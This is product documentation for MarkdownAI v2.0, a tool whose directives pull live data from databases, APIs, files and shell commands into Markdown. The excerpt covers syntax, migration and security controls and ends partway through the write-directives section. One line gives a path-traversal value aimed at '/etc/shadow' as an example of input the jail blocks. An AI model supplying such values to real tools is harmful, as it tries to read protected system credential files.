Overview
MarkdownAI solves a problem every team eventually hits: documentation lies. Not on purpose - it just gets old. The database schema changes, the API adds a field, the environment variable gets renamed, but the docs stay frozen at the moment someone last had time to update them.
MarkdownAI fixes this by making documents executable. Add @markdownai to the first line of any .md file and it becomes a live document. You can fetch the current state of your database, call an API, read a config file, run a shell command, count source files, or inject an environment variable - all inline, using a readable directive syntax that lives alongside your prose.
The document is rendered with mai render. Every directive runs, every data source is queried, and the final output is clean, standard Markdown. Strip the directives away with mai strip to get a static export. Or serve the document live to an AI assistant via the built-in MCP server.
v2.0 highlights. Unified directive grammar - one parser shape for every directive. Close tags carry the directive name (@phase-end, @if-end, @foreach-end), self-closing form with trailing / for atomic directives, JSX-style > body separator. @on-complete X / replaces the v1 arrow transition. Synchronous MongoDB worker so @db actually queries Mongo. Struct labels (as=row) for dot-access on results. New sandbox builtins: parse_brief, read_section, extract_paths, now_iso, to_json, truncate, uuid_v4, allowed, and more. Cross-call session state via skill_session_id in the MCP server. Plugin loader and @markdownai-detect. New @touch directive for idempotent file scaffolding.
Breaking syntax change in v2.0. Bare @end, @endif, @endswitch, and @on complete -> X are no longer accepted. Pin to ^2.0.0 and run the migration tool once over each v1 file. See Migrating from v1 below for the five transformation classes and a worked example.
parser
AST production only - reads directives, never executes. Pure and inert.
renderer
11 output format modules: list, table, bar, tree, timeline, flow, and more.
engine
Execution, env resolution, pipelines, caching, and all security enforcement.
mcp
MCP server with 11 tools for AI assistants. Lazy phase loading.
core
The mai binary and all CLI commands.
vscode
Language detection, syntax highlighting, snippets, completions, hover, diagnostics.
Security is enforced at every layer. Jailed directives - database queries, HTTP calls, shell commands - are blocked by default and must be explicitly allowed. File access is confined to the document root. Content masking prevents credentials from appearing in rendered output. And a set of immutable rules block the most dangerous operations regardless of configuration.
Migrating from v1
v2 is a breaking syntax change. v1 documents do not parse under @markdownai/parser ^2.0.0. v1 stays on ^1.x and keeps working, so the safe path is to pin to ^2.0.0 in package.json and run the migration tool once over each v1 file.
Run the migration tool
node ~/projects/markdownai/packages/parser/scripts/migrate-v1-to-v2.mjs <file> --in-place
The script is idempotent - re-running on a v2 file is a no-op. It works on .md files. HTML and other source files with embedded MarkdownAI snippets need hand-editing.
The five transformation classes
| Class | v1 | v2 |
|---|---|---|
| Close tags carry the directive name | @end |
@<name>-end matching the opener (@phase-end, @foreach-end, @define-end, ...) |
| Conditional and switch aliases | @endif, @endswitch |
@if-end, @switch-end |
| Phase transitions | @on complete -> target |
@on-complete target / |
| Self-close on atomic directives | @import path, @touch path="X", @call name |
@import path /, @touch path="X" /, @call name / |
| Multi-line directives normalize to block form | Continuation lines on a single-line directive (silently dropped in v1) | @<name> opener, attribute lines, @<name>-end close tag |
Worked example
v1:
@phase 0_branch_check
Run the branch guard before anything else.
@call branch-guard
@on complete -> 0_5_repo_version_check
@end
@if env.NODE_ENV == "production"
@foreach feature in @list ./.mdd/docs/ match="*.md"
- {{ feature }}
@end
@endif
@switch {{ arg0 }}
@case "audit"
@include ./audit-mode.md
@case "build"
@include ./build-mode.md
@endswitch
@import ~/.claude/mdd/macros.md
@touch path="src/rules/parser.ts"
v2:
@phase 0_branch_check
Run the branch guard before anything else.
@call branch-guard /
@on-complete 0_5_repo_version_check /
@phase-end
@if {{ env.NODE_ENV == "production" }}
@foreach feature in {{ @list ./.mdd/docs/ match="*.md" }}
- {{ feature }}
@foreach-end
@if-end
@switch {{ arg0 }}
@case "audit"
@include ./audit-mode.md /
@case "build"
@include ./build-mode.md /
@switch-end
@import ~/.claude/mdd/macros.md /
@touch path="src/rules/parser.ts" /
What does not change
{{ }}interpolation syntax stays the same.- AST node shapes stay the same - only source-form parsing changes.
- Engine execution semantics stay the same.
- Security model - allowlists, jails, sandbox - stays the same.
- Directive registry stays the same set of names.
Use a dedicated migration commit. Run the migration script over every .md file in the repo in one pass, commit with a clear message, then upgrade @markdownai/* to ^2.0.0 and update CI. This makes the syntax change reviewable in isolation.
Getting Started
Installation
Install @markdownai/core globally. That gives you the mai binary.
# Install globally
npm install -g @markdownai/core
# Verify it works
mai --version
# Install the AI hook (auto-detects Claude Code / Cursor)
mai init
Quick Start
Create your first document
The @markdownai header on line 1 is all it takes to make a file live.
@markdownai v2.0
# Project Status
Generated: {{ now_iso() }}
Version: {{ read ./package.json path="version" }}
## Source Files
@list ./src/ match="**/*.ts" type="files" as="list" /
## Environment
API URL: {{ env.API_URL ?? "http://localhost:3000" }}
Render it
mai render status.md
All directives run. Output is clean, standard Markdown printed to stdout.
Validate before sharing
mai validate status.md
Checks for missing required env vars, unclosed blocks, and broken file references without producing output.
Strip to static markdown
mai strip status.md -o dist/status.md
Removes all directives, resolves conditionals, produces plain markdown safe for any reader.
After mai init, every .md file that starts with @markdownai is automatically routed through the MarkdownAI engine when an AI assistant reads it. The AI always sees rendered, live output - not raw directive syntax.
Universal CLI Flags
These flags work on every mai command:
| Flag | Effect |
|---|---|
--env <file> | Load a .env file to supply environment variables |
--cwd <path> | Run as if you were in a different directory |
--verbose | Print warnings and security events to the terminal |
--strict | Treat warnings as errors; halt on any security issue |
--silent | Suppress all output except fatal errors and security alerts |
The @markdownai Header
Every MarkdownAI document begins with @markdownai on the very first line. That single directive is the opt-in signal - without it, mai treats the file as plain Markdown and does nothing special.
Placement Rules
- Must be line 1, before any blank lines, headings, or other content.
- If the file has YAML frontmatter, place
@markdownaias the first line after the closing---. - The match is case-sensitive.
@MarkdownAIor trailing spaces will not trigger detection. - To remove MarkdownAI from a file, delete only that line - everything else stays untouched.
Options
# Basic - no version pin
@markdownai
# Version pin - warns if installed version is older
@markdownai v2.0
# Opt out of shell-inline interception (see Shell Inline section)
@markdownai shell-inline="passthrough"
YAML Frontmatter Compatibility
Works with Claude Code skills, Jekyll, Hugo, and any other tool that uses frontmatter:
---
title: My Document
description: Project status report
---
@markdownai v2.0
# My Document
Built on {{ now_iso() }}.
Version pins are optional but recommended. Pinning to v2.0 means your document declares exactly which MarkdownAI features it expects. If your installed version is older, mai warns you but continues running.
Inline Interpolation {{ }}
Inline interpolation lets you embed live values directly inside your prose using double curly braces. Instead of writing static text that goes stale, you pull in real data - environment variables, dates, file counts, computed values - right where the words are.
{{ expression }} works inside paragraphs, headings, list items, and table cells. It does not activate inside fenced code blocks or inline code spans, so your code examples stay untouched.
Operators
| Operator | Purpose | Example |
|---|---|---|
?? | Fallback if value is missing | {{ env.PORT ?? "3000" }} |
?. | Optional chaining | {{ config?.server?.port }} |
? : | Ternary conditional | {{ env.CI ? "CI mode" : "local" }} |
\{{ | Escape - renders literal {{ | \{{ not evaluated }} |
Examples
@markdownai v2.0
# Report - {{ now_iso() }}
Version: {{ read ./package.json path="version" }}
API endpoint: {{ env.API_URL ?? "http://localhost:3000" }}
Running in {{ file.exists "./config/prod.json" ? "production" : "development" }} mode.
Source files: {{ count ./src/ match="**/*.ts" }}
Expressions that cannot be resolved quietly become empty strings and log a warning. Run mai validate first to catch them before rendering.
@env Environment Variables
@env lets your documents read environment variables directly - so sensitive values like API keys, database URLs, or deployment settings never have to be hardcoded. You can declare fallback values for when a variable isn't set, keeping your documents functional across environments.
Syntax
@markdownai v2.0
# Variable as a standalone paragraph (renders the value)
@env API_BASE_URL /
# Variable with a fallback - renders "https://api.example.com" when unset
@env API_BASE_URL fallback="https://api.example.com" /
# Required - mai validate fails if unset
@env DATABASE_URL required /
# Required and masked - never appears in rendered output
@env SECRET_KEY required masked /
# Inline usage anywhere in prose
The API is at {{ env.API_BASE_URL ?? "http://localhost:3000" }}.
Resolution Order
When resolving a variable, mai checks these sources in order and uses the first match:
Shell environment
Always wins. Variables set in your terminal or CI environment take priority over everything.
--env file
Any .env file passed via mai render --env .env.production.
@import fallbacks
Fallbacks registered in files you've imported with @import.
Inline fallback
The fallback= value on the directive itself.
Empty string
No error thrown - document renders with an empty value. required overrides this and fails validation instead.
@define and @call Macros
Macros let you define reusable content blocks once and insert them anywhere. This eliminates copy-pasting repeated content and keeps documents consistent when shared values change.
Basic Macro
@define disclaimer
This report is generated automatically and may contain estimates.
@define-end
# Section One
@call disclaimer /
# Section Two
@call disclaimer /
Macro with Parameters
Use {{ param || "default" }} inside the body to accept values at call time with an optional fallback:
@define greeting
params=name,role
>
Hello, {{ name || "reader" }}. Your role is {{ role || "viewer" }}.
@define-end
@call greeting name=Alice role=Admin /
@call greeting name=Bob /
Local Scope
Add local=true as an attribute to keep the macro scoped to the current file - it won't bubble up to parent documents that include this file:
@define internal-note
local=true
>
For internal review only - do not distribute.
@define-end
@call internal-note /
Macros Can Contain Any Directive
Macros can include data fetches, conditionals, other @call directives - anything that is valid in a document body.
Macros are not rendered at definition time. The @define block produces no output. Output only appears when you use @call.
@include Content Inclusion
The @include directive pulls another Markdown file's content directly into your document at that point - as if you had written it there yourself. Any macros, connections, or environment fallbacks defined in the included file automatically become available to the rest of your parent document.
@markdownai v2.0
# Full Report
@include ./sections/header.md /
@include ./data/metrics.md @cache session /
@if {{ env.TIER == "enterprise" }}
@include ./sections/enterprise-features.md /
@if-end
@include ./sections/footer.md /
Rules
- Paths are relative to the file containing the directive.
- Absolute paths and paths navigating above the document root are always blocked.
- To include specific line ranges from a source file:
@include ./src/auth.ts lines=10-45 / - Circular reference detection is automatic - an error halts rendering and shows the full chain.
- Including a file multiple times is valid and intentional repetition is supported.
- Mark definitions with
local=trueinside included files to prevent them bubbling up to the parent.
Dynamic Paths
Put {{ expression }} anywhere in the file path. The expression runs in the same sandbox as @if conditions, so arg0, ARGUMENTS, env.*, and any @foreach loop variable all work.
This turns a five-branch @if/@elseif chain into one line:
@markdownai v2.0
@include ./{{arg0}}-mode.md /
Add a JS || default for when no argument is passed:
@include ./{{arg0 || 'audit'}}-mode.md /
Inside a @foreach loop the loop variable works directly in the path:
@foreach section in intro,body,appendix
@include ./{{section}}.md /
@foreach-end
The expanded path goes through the same jail check as a static include. Dynamic traversal (e.g. a caller passing ../../etc/shadow as an argument) is caught and blocked.
@import Definition Import
@import brings in macros, database connections, and environment variable defaults from another file - without rendering any of that file's content. This is how you maintain a central "definitions library" shared across many documents.
@markdownai v2.0
@import ./shared/connections.md /
@import ./shared/macros.md @cache session /
# My Document
@call header-block /
@db
using="reports"
find="orders"
where='status == "pending"'
@db-end
Note the v2 attribute style: each attribute on its own indented line, ending with @db-end.
What @import Brings In
@definemacros - available via@callthroughout the importing document@connectconnections - available by name in@dbblocks@envfallbacks - register defaults without outputting values
Diamond Dependencies
If two files both import the same third file, the second import is a silent no-op. Definitions are registered once. This handles diamond dependency graphs safely without duplication or errors.
@import vs @include: Use @import when you want definitions without content. Use @include when you want the file's rendered content to appear in your document.
@if Conditionals
Show or hide sections based on conditions - environment, file existence, or data values. The same expression system works inside @if conditions, where filters on data queries, and {{ }} interpolations. Learn the operators once and they work throughout.
@markdownai v2.0
@if {{ env.APP_ENV == "production" }}
This section only appears in production builds.
@else
You are viewing a non-production build.
@if-end
@if {{ file.exists("./config/custom.json") }}
Custom configuration detected.
@elseif {{ file.isDir("./config") }}
Config directory found but no custom.json.
@else
No configuration found.
@if-end
@if {{ env.ROLE == "admin" && env.REGION == "us-east" }}
Admin dashboard - US East region.
@if-end
Expression Operators
| Operator | Meaning |
|---|---|
== / != | Equal / not equal |
< / > / <= / >= | Numeric comparisons |
&& / || / ! | Logical AND, OR, NOT |
.startsWith() / .endsWith() / .includes() | String methods |
file.exists / file.isFile / file.isDir | Filesystem checks |
file.containsLine(path, regex) | Multiline regex test against a file's content. |
file.containsSection(path, heading) | True if the file has an ATX heading matching heading. Pass with #s to match a specific level. |
file.frontmatterField(path, field) | Returns a YAML frontmatter scalar from path. Empty string if missing. |
match "pattern" | Regex match (see match operator section) |
allowed(value, list, opts?) | Returns value if it is in list (array or single string), false otherwise. Combine with || to provide a safe default: {{ allowed(arg0, ["a","b"]) || "a" }}. Pass {ignoreCase: true} for case-insensitive matching. |
File Helpers
Three filesystem helpers run inside the same sandbox as file.exists. They let you branch on the actual content of a file without using a separate @read beforehand.
@markdownai v2.0
@if {{ file.containsLine("./README.md", ".*\\[CRITICAL\\].*") }}
Critical items exist - block the release.
@if-end
@if {{ file.containsSection("./doc.md", "## Bugs") }}
Known bugs section is present.
@if-end
@if {{ file.frontmatterField(".mdd/docs/01-mdd.md", "status") == "complete" }}
This doc is shipped.
@if-end
containsLine takes a regex and tests it against the whole file content (multiline). containsSection matches an ATX heading on its own line; pass with #s to require a specific level. frontmatterField returns the scalar value of a YAML key in the frontmatter, or an empty string if the key or file is missing.
Always supply --env when stripping or rendering documents with conditionals. Run mai validate first to catch unset variables before they silently evaluate to false.
@switch - Multi-Branch Conditional
When you have more than a couple of branches, @switch is cleaner than a chain of @if/@elseif. It evaluates one expression and renders the first @case whose value matches.
@switch {{ argsList[0] }}
@case "build"
Running build mode...
@case "audit"
Running audit mode...
@case "status"
Running status check...
@default
Unknown command. Try: build, audit, status.
@switch-end
Both the switch expression and each @case value support {{ }} dynamic expressions - the same sandbox as @if, so env.*, argsList, arg0, @foreach loop variables, and all other context values work.
@switch {{ env.APP_ENV }}
@case "production"
Live data - changes are permanent.
@case {{ env.STAGING_LABEL }}
Staging environment.
@default
Development mode.
@switch-end
Restricting Values with allowed()
Wrap the switch expression in allowed() to lock it down to a known set. If the argument isn't on the list, allowed() returns false and the || default takes over before the switch runs - no unexpected branches:
@switch {{ allowed(argsList[0], ["audit","build","op"]) || "build" }}
@case "build"
Running build mode...
@case "audit"
Running audit mode...
@case "op"
Running op mode...
@switch-end
This also works in @if conditions and {{ }} interpolations. The second argument can be an array or a single string. Pass {ignoreCase: true} as a third argument for case-insensitive matching.
- First matching case wins - no fall-through.
@defaultis optional; if absent and nothing matches, the block produces empty output.@case "default"matches the string"default"- it does not trigger the@defaultblock.- Nesting works:
@switchinside@foreach,@if, or another@switch. - Closes with
@switch-end.
Pipe Operator and @render
The pipe operator | connects a data source through one or more transform steps to a final @render sink - all on a single line. This brings Unix-style composability to your documents.
@markdownai v2.0
# TypeScript Files
@list ./src/ | grep \.ts$ | sort | @render type="numbered" /
# Active Users
@db
using="primary"
find="users"
where='active == true'
@db-end
| @render type="table" /
# File Count
There are {{ @list ./src/ | wc -l }} TypeScript files in this project.
# Shorthand with "as"
@list ./data/users.json path="users" as="table" /
Built-in Transforms (Cross-Platform)
These run as pure Node.js code - no shell required, works on Windows, macOS, and Linux:
| Transform | Effect |
|---|---|
sort | Sort lines alphabetically |
sort -n | Sort numerically |
sort -r | Sort in reverse |
grep pattern | Keep lines matching pattern |
grep -v pattern | Keep lines NOT matching |
grep -i pattern | Case-insensitive match |
head -N | Keep first N lines |
tail -N | Keep last N lines |
uniq | Remove consecutive duplicates |
wc -l | Count lines |
Shell Transforms (Unix/WSL only)
awk, sed, jq, cut - spawn child processes. On Windows without WSL they are automatically skipped with a warning.
@render Format Types
| Type | Output |
|---|---|
list | Unordered bullet list |
numbered | Ordered numbered list |
links | List of clickable markdown links |
table | Grid table with headers. Use columns="name,version" to pick fields |
code | Fenced code block |
inline | Plain text - for embedding a scalar value in a sentence |
bar | Horizontal ASCII bar chart. Use label="field" value="field" |
flow | ASCII flow diagram with arrows |
tree | ASCII indented tree for nested data |
timeline | Left-to-right ASCII timeline |
json | Pretty-printed JSON in a fenced code block |
@list Source Directive
@list is the primary way to enumerate things in a MarkdownAI document - files on disk, items from a JSON array, rows from a CSV. Results appear directly in your document as a table, list, or any other format you choose.
Options
| Option | Controls | Default |
|---|---|---|
match | Glob pattern for filesystem listing | * |
type | What to list: files, dirs, or both | files |
depth | How many folder levels deep | Unlimited |
path | Dot-notation key into a JSON file | Root |
mode | How to read a JSON object: keys, values, entries | None |
columns | Fields to show and their labels: key:Label,key2:Label2 | All fields |
where | Filter rows by a field value | None |
as | Output format shorthand: table, list | None |
@cache | Cache result: session, persist, ttl=N | None |
Examples
@markdownai v2.0
# TypeScript Source Files
@list ./src/ match="**/*.ts" type="files" /
# Active Users from JSON
@list ./data/users.json path="users" where="status:active" as="table" /
# npm Dependencies
@list ./package.json path="dependencies" mode="entries" columns="key:Package,value:Version" /
# CSV Product Catalog
@list ./data/products.csv columns="sku:SKU,name:Product,price:Price" where="inStock:true" /
@read Source Directive
@read pulls a specific value or slice of data from a structured file into your document. Supports JSON, YAML, TOML, CSV, and .env files.
@markdownai v2.0
# Configuration
Database host: @read config.json path="database.host" /
Server port: @read config.yaml path="$.server.port" /
# Active Users
@read users.csv where="status=='active'" columns="name:Name,email:Email" /
# Version
Package version: {{ read ./package.json path="version" }}
Options
| Option | Applies To | Description |
|---|---|---|
path="dot.notation" | JSON, YAML, TOML | Navigate to a nested value. Supports [n] array indices. |
key="KEY_NAME" | .env | Look up a single flat key |
column="name" | CSV | Extract one column; one value per line |
where= | CSV | Filter rows using an expression |
columns="key:Label,..." | CSV | Select and rename multiple columns |
collapse true | Any | Stringify nested objects inline |
as="type" | Any | Control output rendering format |
@cache | Any | Cache the file read result |
.env files are blocked by security rules. You cannot read a .env file with @read using path= - use key= instead, and only for non-sensitive keys.
@tree, @date, @count
Three utility directives that display live directory structures, inject current or file-modified dates, and count files. All three also work inside {{ }} expressions.
@tree - Directory Listing
@tree ./packages/ depth=2 /
@tree ./src/ depth=3 type=dirs /
@tree ./src/ match="*.ts" depth=2 /
@date - Dates and Timestamps
Generated: @date format="YYYY-MM-DD" /
Full timestamp: @date format="YYYY-MM-DD HH:mm:ss" /
File modified: @date file="./CHANGELOG.md" type="modified" /
Inline: Last updated {{ date format="MMMM D, YYYY" }}.
# v2 sandbox builtin equivalent
Generated: {{ now_iso() }}
Date Format Tokens
| Token | Output |
|---|---|
YYYY | 4-digit year: 2026 |
MM | 2-digit month: 05 |
DD | 2-digit day: 19 |
HH | 24-hour hour: 14 |
hh | 12-hour hour: 02 |
mm | Minutes: 30 |
ss | Seconds: 45 |
A / a | AM/PM / am/pm |
ISO | Full ISO 8601 string |
X | Unix timestamp (seconds) |
x | Unix timestamp (milliseconds) |
@count - File Counter
# Source Statistics
TypeScript files: @count ./src/ match="**/*.ts" type=files /
Test files: @count ./src/ match="**/*.test.ts" type=files /
Directories: @count ./src/ type=dirs /
Inline: This package has {{ count ./src/ match="**/*.ts" }} source files.
@connect and @db
@connect registers named database connections. @db queries them. Both are jailed - database access is disabled by default and must be enabled in your security config before either directive does anything.
@connect - Connection Registry
@markdownai v2.0
@connect reports type="mongodb" uri=env.MONGODB_URI /
@connect analytics type="postgres" uri=env.ANALYTICS_PG_URI /
@connect local type="sqlite" uri=env.SQLITE_PATH local=true /
Supported types: mongodb, postgres, mysql, mssql, sqlite, redis, elasticsearch
@db - Query Operations
Pick exactly one operation per @db directive:
| Operation | What It Does |
|---|---|
find="collection" | Returns multiple rows matching your filter |
one="collection" | Returns the first matching row |
count="collection" | Returns a row count |
aggregate="collection" | Groups and summarizes rows |
raw="SQL string" | Native query passthrough (requires explicit opt-in) |
# Active Users
@db
using="reports"
find="users"
where='active == true'
@db-end
| @render type="table" /
# Orders by Status (bar chart)
@db
using="reports"
aggregate="orders"
group="status"
count=true
@db-end
| @render type="bar" /
# Single Record - struct label for dot-access
@db
using="reports"
one="users"
where='email == env.ADMIN_EMAIL'
as=row
label=admin
@db-end
Admin name: {{ admin.name }}
# Count Pending - inline
Pending orders: {{ @db using="reports" count="orders" where='status == "pending"' / }}
The as=row label=feature pair is new in v2. It captures the result into ctx.data[label] as a structured value, so {{ feature.field }} dot-access works on real arrays and nested objects.
Common @db Options
| Option | Description |
|---|---|
using="name" | Named connection from @connect |
uri=env.VAR | Inline connection URI - no @connect needed |
where="expression" | Filter condition |
sort="field:asc" | Sort order |
limit=N | Max rows to return |
columns="field:Label,..." | Select and rename output fields |
as="table" | Shorthand for | @render type="table" |
@cache | Always the last token: session, persist, mock=./file.json |
Connections use environment variables, never hardcoded credentials. When mai renders to static output, all @connect directives are stripped.
@http HTTP Requests
@http lets you embed live data from any web API directly in your document. By default it produces no output - the target domain must be on your allowlist before any request is made.
@markdownai v2.0
# API Version
@http
url="https://api.example.com/status"
path="version"
@http-end
# Authenticated Request
@http
url=env.API_URL
headers="Authorization=env.API_TOKEN"
path="data.summary"
@http-end
# JSON Array Filtered and Rendered
@http
url="https://api.example.com/deployments"
columns="env:Environment,status:Status"
where="status == 'failed'"
as="table"
@http-end
# With Caching
@http
url="https://api.example.com/metrics"
@cache persist ttl=3600
@http-end
Options
| Option | Default | Description |
|---|---|---|
url= | Required | The endpoint. Use url=env.VAR to keep URLs out of the document. |
method= | GET | HTTP verb. POST/PUT/DELETE require explicit permission in security config. |
path= | - | Dot-path selector into the JSON response |
body= | - | Request body. Only valid for non-GET methods. |
headers= | - | Comma-separated headers. Literal credentials are masked automatically. |
expected= | - | Assert a specific HTTP status code |
@cache | - | session, persist, ttl=N, or mock=./file.json |
@query Shell Commands
@query runs a shell command and injects its output into the document. Every command must be on your allowlist - commands not on the list are silently stripped. Shell execution is disabled by default.
@markdownai v2.0
# Repository Status
Current branch: @query "git branch --show-current" /
Recent commits:
@query "git log --oneline -5" /
# Dependency Audit
@query "npm audit --json" @cache session /
# Named Output for Reuse
@query "git branch --show-current" label=branch /
@if {{ branch.match("^feat") }}
On a feature branch: {{ branch }}
@if-end
Key Points
- Disabled by default. Enable with
mai security shell enable. - Every command must match an allowlist pattern before it runs.
- Use
label=nameto store the result for reuse in conditions and other directives. - On error, produces empty string and logs a warning. Pass
--strictto make errors fatal. - Cross-platform when using git, node, npm - not when using bash-specific syntax.
@phase, @on-complete, @graph
@phase divides a document into named workflow stages. Only the active phase loads into AI context at a time, keeping large multi-step documents focused. @graph draws a Mermaid diagram of your workflow for human readers.
@markdownai v2.0
@phase intake
>
Gather open support tickets.
@http
url=env.TICKET_API
path="tickets.open"
as="table"
@http-end
@on-complete triage /
@phase-end
@phase triage
>
Review tickets and assign priority.
@call load-assignment-rules /
@on-complete archive /
@on-complete @notify_team /
@phase-end
@phase archive
>
Move resolved tickets to long-term storage.
@db
using="primary"
find="tickets"
where='status == "resolved"'
@db-end
| @render type="table" /
@phase-end
Workflow Diagram (documentation only)
```mai-graph
graph LR
intake --> triage --> archive
```
Rules
@phaseblocks are only valid in the root document. Using them in an@import-ed file is a parse error.@on-completeis only valid inside a@phase ... @phase-endblock.- Multiple
@on-completelines execute sequentially, top to bottom. - Run a specific phase with:
mai render doc.md --phase phasename - The MCP server automatically loads only the active phase, not the whole document.
- v2 adds
skill_session_idfor cross-phase state -@setvalues persist acrossresolve_phasecalls so a skill can collect data in phase 1 and read it back in phase 5.
@foreach and @set
Two directives that turn linear documents into actual programs. @foreach walks a list source and renders its body once per item. @set binds a value to a variable so you can reuse a directive's result several times without re-running it.
@markdownai v2.0
# Per-feature status
@foreach doc in {{ @list ./.mdd/docs/ match="*.md" }}
@read-frontmatter path="{{ doc }}" field="status" label=status /
- {{ doc }}: {{ status }}
@foreach-end
# Bind once, use many times
@set today = {{ now_iso() }} /
@set release_branch = "release/{{ today }}" /
Cutting branch {{ release_branch }} for the {{ today }} release.
@foreach Source Expressions
The right side of in accepts any of these:
- A nested directive that produces lines:
@list ./files match="*.md",@read ./tags.txt,@tree ./src. - A list-valued frontmatter field via
@read-frontmatter: comma-joined list returns each value as one iteration. - A
{{ label }}interpolation that resolves to multi-line text. - A comma-separated literal:
"alpha,beta,gamma".
Each iteration binds the loop variable into the engine's value table. Nested directives in the body see {{ var }} substituted into their args before they fire. After the loop the binding is gone.
@set Right-hand Sides
- Literal:
@set status = "active" /. Quotes around strings; numbers and booleans literal. - Builtin call:
@set today = {{ now_iso() }} /. The sandbox builtin runs once and its return value becomes the binding. - Interpolation:
@set greeting = "Hello {{ name }}" /. Resolves{{ }}placeholders against existing bindings.
A bound name is available to every directive and interpolation that follows it in the same document. @foreach bindings shadow outer @set bindings inside the loop and restore on exit.
@foreach with Dynamic @include
The loop variable is available in {{ }} path expressions on @include, so you can include a different file per iteration without any conditional logic:
@markdownai v2.0
@foreach section in intro,features,pricing,faq
@include ./sections/{{section}}.md /
@foreach-end
Each iteration includes a different file. If a file is missing, a warning is emitted and that iteration produces no output - the loop continues.
@template and @data
@template inlines another MarkdownAI document at the call site and binds it to
a data context, like a partial in Angular or Vue. @data composes a single
object from any in-scope values so the same composite can feed multiple template renders.
Together they let you reuse the same rendered fragment for a list of database rows, a
paginated response, or any other collection - including from inside an @foreach
- while keeping every existing file-resolution, security, and scope rule intact.
@markdownai v2.0
@db users from=mainDb query="SELECT * FROM users" label=users /
@set siteName = "Acme" /
@data myReport
...baseConfig
users = users
site.name = siteName
site.theme = "dark"
@data-end
@template ./summary.md data=myReport /
@foreach row in {{ users }}
@template ./user-card.md data=row /
@foreach-end
@template
@template <path> data=<expression> [as=<name>] / reads the
partial, parses it as a full MarkdownAI document (every directive that works in a top-level
document works inside the partial), and renders it inline. The expression you pass with
data= is evaluated against the caller's current scope and bound to
{{ data.* }} inside the partial. Use as=<name>
to expose the binding under a different name - useful when partials are nested and the inner
one also wants data for its own caller.
@template is single-line in the v2 syntax - the trailing / is
required. Path rules match @include: relative only, no absolute paths, no
.. traversal. The file read goes through the same filesystem-confinement
gate as @include / @read, and circular references between
partials produce the standard fatal error with the full chain printed.
@data
@data <name> ... @data-end opens a block whose body is a list of
<key> = <expression> assignments and ...<expression>
spreads. Each entry is evaluated through the same engine that powers @set and
@foreach, so any directive call, interpolation, or literal that works there works
here. Dot-notation keys build nested objects (site.name = "Acme" and
site.theme = "dark" produce { site: { name: 'Acme', theme: 'dark' } }).
Spread lines deep-merge another object into the composite at that point; later entries
override earlier ones, so a default block plus a single overriding line is a clean variant
pattern.
The composed object is stored under <name> in the same scope as
@set variables, ready to be passed to one or many template calls or referenced
directly as {{ <name>.field }}.
Scope model
Reads inherit. The partial sees the caller's @set values, @db
results, @connect connections, macros, and env fallbacks. Writes are sandboxed:
any @define, @connect, @set, or @env
executed inside the partial stays local to that render. This is the deliberate difference
from @include's bubble-up behavior and the reason @template is safe
to call repeatedly inside @foreach without name collisions piling up.
@read-frontmatter and @hash
Two targeted read directives for the cases where @read by itself returns too much. @read-frontmatter pulls a single YAML field out of a document's frontmatter without parsing the body. @hash produces a content hash for change detection or doc-integrity checks.
@markdownai v2.0
@read-frontmatter path=".mdd/docs/01-mdd.md" field="status" label=mdd_status /
The mdd doc is currently: {{ mdd_status }}.
@hash path=".mdd/docs/01-mdd.md" algo=sha256 length=8 label=mdd_hash /
Content hash: {{ mdd_hash }}.
@hash path="CHANGELOG.md" algo=sha256 exclude-line="^date:" label=changelog_hash /
@read-frontmatter Behavior
- Scalar fields return the trimmed value.
status: completereturnscomplete. - YAML lists return values joined with commas. Use with
@foreachto iterate without splitting yourself. - Missing fields return an empty string. No warning, no error - intentional for conditional checks.
- The path is jailed against
data_root(see Filesystem Confinement).
@hash Options
| Option | Effect |
|---|---|
path | File to hash. Required. Resolves against data_root. |
algo | Hash algorithm: sha256, sha1, md5, or any algorithm supported by Node's crypto.createHash. Defaults to sha256. |
length | Truncate the hex digest to N characters. Useful for short fingerprints (length=8). |
exclude-line | Regex. Lines matching this pattern are removed before hashing - lets you exclude self-referencing fields like hash: in frontmatter. |
label | Store the digest in a label for reuse downstream. |
@test and @check
@test runs the project test suite. @check runs typecheck, lint, or build. Both inline the runner's full combined output where the directive sits and expose three labels: label (full text), label_exit (numeric exit code), and label_summary (optional one-line summary detected from known runners).
@markdownai v2.0
# Test suite
@test command="pnpm test" label=test_results /
@if {{ test_results_exit == "0" }}
All tests pass.
@else
Failures detected. See output above.
@if-end
# Typecheck + lint
@check command="tsc --noEmit" label=typecheck /
@check command="eslint ." label=lint /
v2 adds npx vitest, npx playwright, pnpm test, tsc, and other common test runners to the default allowlist - they work without manual ~/.markdownai/security.json edits.
Auto-detection
Both directives auto-detect when command= is omitted:
@testreadsscripts.testfrompackage.json.@checktries scripts in this order:typecheck,check,lint,build(whichever exists first).
Output Labels
| Label | Contents |
|---|---|
{{ label }} | Full combined stdout+stderr from the runner. Verbatim, no truncation. |
{{ label_exit }} | Numeric exit code as a string. Compare with @if {{ label_exit }} == "0". |
{{ label_summary }} | Optional one-line summary detected from vitest, jest, playwright, tsc, eslint, prettier. Empty string when not recognized. |
Both directives have a 5-minute timeout. The shell allowlist applies - configure permitted commands under shell.allow_patterns in your security config.
Write Directives
Six directives that mutate the filesystem from inside a document. @touch, @mkdir, @copy, and @append-if-missing handle bootstrap scaffolding. @update-frontmatter mutates a single YAML field. @render-template generates a file from a template with injected variables.
All obey the same gate: writes are off by default. Turn them on by setting filesystem.write_enabled = true in your security config. The write_root and allowed_write_paths rules then determine where writes are allowed.
@markdownai v2.0
# Scaffold a project area
@touch path="src/rules/parser.ts" /
@mkdir .mdd /
@mkdir .mdd/docs recursive=true /
@copy from="./templates/mdd.md" to=".mdd/mdd.md" if-missing /
@append-if-missing path=".gitignore" text=".mdd/audits/" /
# Update a single field in a doc
@update-frontmatter
path=".mdd/docs/01-mdd.md"
field="status"
value="complete"
@update-frontmatter-end
@update-frontmatter
path=".mdd/docs/01-mdd.md"
field="tags[append]"
value="shipped"
@update-frontmatter-end
# Generate a test file from a template
@render-template
from="./templates/unit.test.ts.template"
to="tests/unit/auth.test.ts"
>
feature_name=auth
has_endpoints=true
@render-template-end
@touch
New in v2. Idempotent empty-file creation. Creates the file if it does not exist, leaves it alone if it does. Useful for scaffolding before another step writes content into the file.
@mkdir
Creates a directory. Recursive by default - intermediate directories are created in the same call. Pass recursive=false to require the parent to already exist.
@copy
Copies a file from a source path to a destination path. from= resolves against data_root; to= resolves against write_root. The destination's parent directories are created automatically. Pass if-missing to make the copy idempotent - skipping the operation if the destination already exists. This is the common pattern for bootstrap files that should be created once and never overwritten.
@append-if-missing
